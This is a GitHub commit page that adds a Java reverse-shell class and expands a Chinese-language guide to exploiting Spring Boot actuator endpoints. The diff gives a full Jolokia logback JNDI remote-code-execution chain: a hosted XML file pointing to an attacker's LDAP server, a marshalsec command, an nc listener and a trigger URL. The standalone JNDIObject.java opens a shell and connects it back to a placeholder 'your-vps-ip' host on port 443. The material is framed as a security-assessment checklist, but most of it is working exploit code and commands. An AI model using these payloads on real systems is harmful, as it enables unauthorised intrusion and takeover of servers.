Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit e3fb80f

Browse files
committed
add JNDIObject.java
1 parent cdb25bc commit e3fb80f

File tree

2 files changed

+279
-13
lines changed

2 files changed

+279
-13
lines changed

‎README.md

Lines changed: 203 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,19 @@
1-
# SpringBoot 漏洞利用及技巧
1+
# Spring Boot Vulnerability Exploit
22

33
SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 checklist
44

55

66

77
## 零:路由知识
88

9-
- Spring 1.x 的路由通常以根目录 `/` 开始,2.x 统一以 `/actuator` 作为根路径
9+
- Spring 1.x 相关 `/` 开始,2.x 统一以 `/actuator` 作为根路径
1010
- 有些程序员会自定义 `/manage``/management`**项目相关名称** 为根路径
1111
- 默认端点名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv`
1212

1313

1414

15+
16+
1517
## 一:信息泄露
1618

1719
### 0x01:路由地址及接口调用详情泄漏
@@ -54,7 +56,9 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
5456

5557

5658

57-
**一般来讲,知道 springboot 应用的相关接口和传参信息并不能算是漏洞**;但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
59+
**一般来讲,知道 springboot 应用的相关接口和传参信息并不能算是漏洞**;
60+
61+
但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
5862

5963

6064

@@ -100,7 +104,7 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
100104

101105
- /env
102106

103-
GET 请求 `/env` 会泄露环境变量信息,或者配置中的一些用户名(偶尔会泄露密码明文);
107+
GET 请求 `/env` 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword) 时,会泄露密码明文;
104108

105109
同时有一定概率可以通过 POST 请求 `/env` 接口设置一些属性,触发相关 RCE 漏洞。
106110

@@ -122,7 +126,7 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
122126

123127
## 二:远程代码执行
124128

125-
> 由于 springboot 很多漏洞是多方面的组件原因导致的,所以有些漏洞名字起的不太正规,能区分即可。
129+
> 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
126130
127131

128132

@@ -216,8 +220,8 @@ Content-Type: application/json
216220

217221
#### **漏洞原理:**
218222

219-
1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 url 地址
220-
2. refresh 触发受害机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
223+
1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
224+
2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
221225
3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
222226
4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
223227
5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
@@ -246,9 +250,9 @@ Content-Type: application/json
246250

247251
#### **利用方法:**
248252

249-
##### 步骤一:架设响应恶意 xstream payload 的网站
253+
##### 步骤一:架设响应恶意 XStream payload 的网站
250254

251-
下面是一个依赖 Flask 的符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
255+
下面是一个依赖 Flask 的符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell:
252256

253257
```python
254258
#!/usr/bin/env python
@@ -316,7 +320,17 @@ if __name__ == "__main__":
316320

317321

318322

319-
##### 步骤二:设置 eureka.client.serviceUrl.defaultZone 属性
323+
##### 步骤二:监听反弹 shell 的端口
324+
325+
一般使用 nc 监听端口,等待反弹 shell
326+
327+
```bash
328+
nc -lvp 443
329+
```
330+
331+
332+
333+
##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
320334

321335
spring 1.x
322336

@@ -338,7 +352,7 @@ Content-Type: application/json
338352

339353

340354

341-
##### 步骤三:刷新配置
355+
##### 步骤四:刷新配置
342356

343357
spring 1.x
344358

@@ -361,7 +375,7 @@ Content-Type: application/json
361375
#### **漏洞原理:**
362376

363377
1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
364-
2. refresh 触发受害机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
378+
2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
365379
3. 目标机器相关组件解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
366380

367381

@@ -374,14 +388,190 @@ Content-Type: application/json
374388

375389

376390

377-
### 0x04:reload logback.xml JNDI RCE
391+
### 0x04:Jolokia logback JNDI RCE
392+
393+
#### **利用条件:**
394+
395+
- 目标网站存在 `/jolokia``/actuator/jolokia` 接口
396+
- 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
397+
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
398+
399+
400+
401+
#### **利用方法:**
402+
403+
##### 步骤一:查看已存在的 MBeans
404+
405+
访问 `/jolokia/list` 接口,查看是否存在 `ch.qos.logback.classic.jmx.JMXConfigurator``reloadByURL` 关键词。
406+
407+
408+
409+
##### 步骤二:托管 xml 文件
410+
411+
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
412+
413+
```bash
414+
# 使用 python 快速开启 http server
415+
416+
python2 -m SimpleHTTPServer 80
417+
python3 -m http.server 80
418+
```
419+
420+
421+
422+
在根目录放置以 `xml` 结尾的 `example.xml` 文件,内容如下:
423+
424+
```xml
425+
<configuration>
426+
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
427+
</configuration>
428+
```
429+
430+
431+
432+
##### 步骤三:准备要执行的 Java 代码
433+
434+
编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,内容如下:
435+
436+
```java
437+
import java.io.File;
438+
import java.io.InputStream;
439+
import java.io.OutputStream;
440+
import java.net.Socket;
441+
442+
public class JNDIObject {
443+
static {
444+
try{
445+
String ip = "your-vps-ip";
446+
String port = "443";
447+
String py_path = null;
448+
String[] cmd;
449+
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
450+
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
451+
for(int i = 0; i < py_envs.length; ++i) {
452+
String py = py_envs[i];
453+
if ((new File(py)).exists()) {
454+
py_path = py;
455+
break;
456+
}
457+
}
458+
if (py_path != null) {
459+
if ((new File("/bin/bash")).exists()) {
460+
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
461+
} else {
462+
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
463+
}
464+
} else {
465+
if ((new File("/bin/bash")).exists()) {
466+
cmd = new String[]{"/bin/bash"};
467+
} else {
468+
cmd = new String[]{"/bin/sh"};
469+
}
470+
}
471+
} else {
472+
cmd = new String[]{"cmd.exe"};
473+
}
474+
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
475+
Socket s = new Socket(ip, Integer.parseInt(port));
476+
InputStream pi = p.getInputStream();
477+
InputStream pe = p.getErrorStream();
478+
InputStream si = s.getInputStream();
479+
OutputStream po = p.getOutputStream();
480+
OutputStream so = s.getOutputStream();
481+
while(!s.isClosed()) {
482+
while(pi.available() > 0) {
483+
so.write(pi.read());
484+
}
485+
while(pe.available() > 0) {
486+
so.write(pe.read());
487+
}
488+
while(si.available() > 0) {
489+
po.write(si.read());
490+
}
491+
so.flush();
492+
po.flush();
493+
Thread.sleep(50L);
494+
try {
495+
p.exitValue();
496+
break;
497+
} catch (Exception e) {
498+
}
499+
}
500+
p.destroy();
501+
s.close();
502+
}catch (Throwable e){
503+
e.printStackTrace();
504+
}
505+
}
506+
}
507+
```
508+
509+
510+
511+
使用兼容低版本 jdk 的方式编译:
512+
513+
```bash
514+
javac -source 1.5 -target 1.5 JNDIObject.java
515+
```
516+
517+
然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。
518+
519+
520+
521+
##### 步骤四:架设恶意 ldap 服务
522+
523+
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
524+
525+
```bash
526+
java -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
527+
```
528+
529+
530+
531+
##### 步骤五:监听反弹 shell 的端口
532+
533+
一般使用 nc 监听端口,等待反弹 shell
534+
535+
```bash
536+
nc -lvp 443
537+
```
538+
539+
540+
541+
##### 步骤六:从外部 URL 地址加载日志配置文件
542+
543+
替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
544+
545+
```
546+
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
547+
```
548+
549+
550+
551+
#### **漏洞原理:**
552+
553+
1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 `ch.qos.logback.classic.jmx.JMXConfigurator` 类的 `reloadByURL` 方法
554+
2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
555+
3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
556+
4. xml 文件中利用 logback 组件的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址
557+
5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
558+
559+
560+
561+
#### **漏洞分析:**
562+
563+
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
564+
565+
378566

379567

380568

381569
### 0x05:h2 database query RCE
382570

383571

384572

573+
574+
385575
### 0x06:jdbc url deserialization RCE
386576

387577

‎codebase/JNDIObject.java

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
/**
2+
* javac -source 1.5 -target 1.5 JNDIObject.java
3+
*
4+
* Build By LandGrey
5+
* */
6+
7+
import java.io.File;
8+
import java.io.InputStream;
9+
import java.io.OutputStream;
10+
import java.net.Socket;
11+
12+
public class JNDIObject {
13+
static {
14+
try{
15+
String ip = "your-vps-ip";
16+
String port = "443";
17+
String py_path = null;
18+
String[] cmd;
19+
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
20+
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
21+
for(int i = 0; i < py_envs.length; ++i) {
22+
String py = py_envs[i];
23+
if ((new File(py)).exists()) {
24+
py_path = py;
25+
break;
26+
}
27+
}
28+
if (py_path != null) {
29+
if ((new File("/bin/bash")).exists()) {
30+
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
31+
} else {
32+
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
33+
}
34+
} else {
35+
if ((new File("/bin/bash")).exists()) {
36+
cmd = new String[]{"/bin/bash"};
37+
} else {
38+
cmd = new String[]{"/bin/sh"};
39+
}
40+
}
41+
} else {
42+
cmd = new String[]{"cmd.exe"};
43+
}
44+
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
45+
Socket s = new Socket(ip, Integer.parseInt(port));
46+
InputStream pi = p.getInputStream();
47+
InputStream pe = p.getErrorStream();
48+
InputStream si = s.getInputStream();
49+
OutputStream po = p.getOutputStream();
50+
OutputStream so = s.getOutputStream();
51+
while(!s.isClosed()) {
52+
while(pi.available() > 0) {
53+
so.write(pi.read());
54+
}
55+
while(pe.available() > 0) {
56+
so.write(pe.read());
57+
}
58+
while(si.available() > 0) {
59+
po.write(si.read());
60+
}
61+
so.flush();
62+
po.flush();
63+
Thread.sleep(50L);
64+
try {
65+
p.exitValue();
66+
break;
67+
} catch (Exception e) {
68+
}
69+
}
70+
p.destroy();
71+
s.close();
72+
}catch (Throwable e){
73+
e.printStackTrace();
74+
}
75+
}
76+
}

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /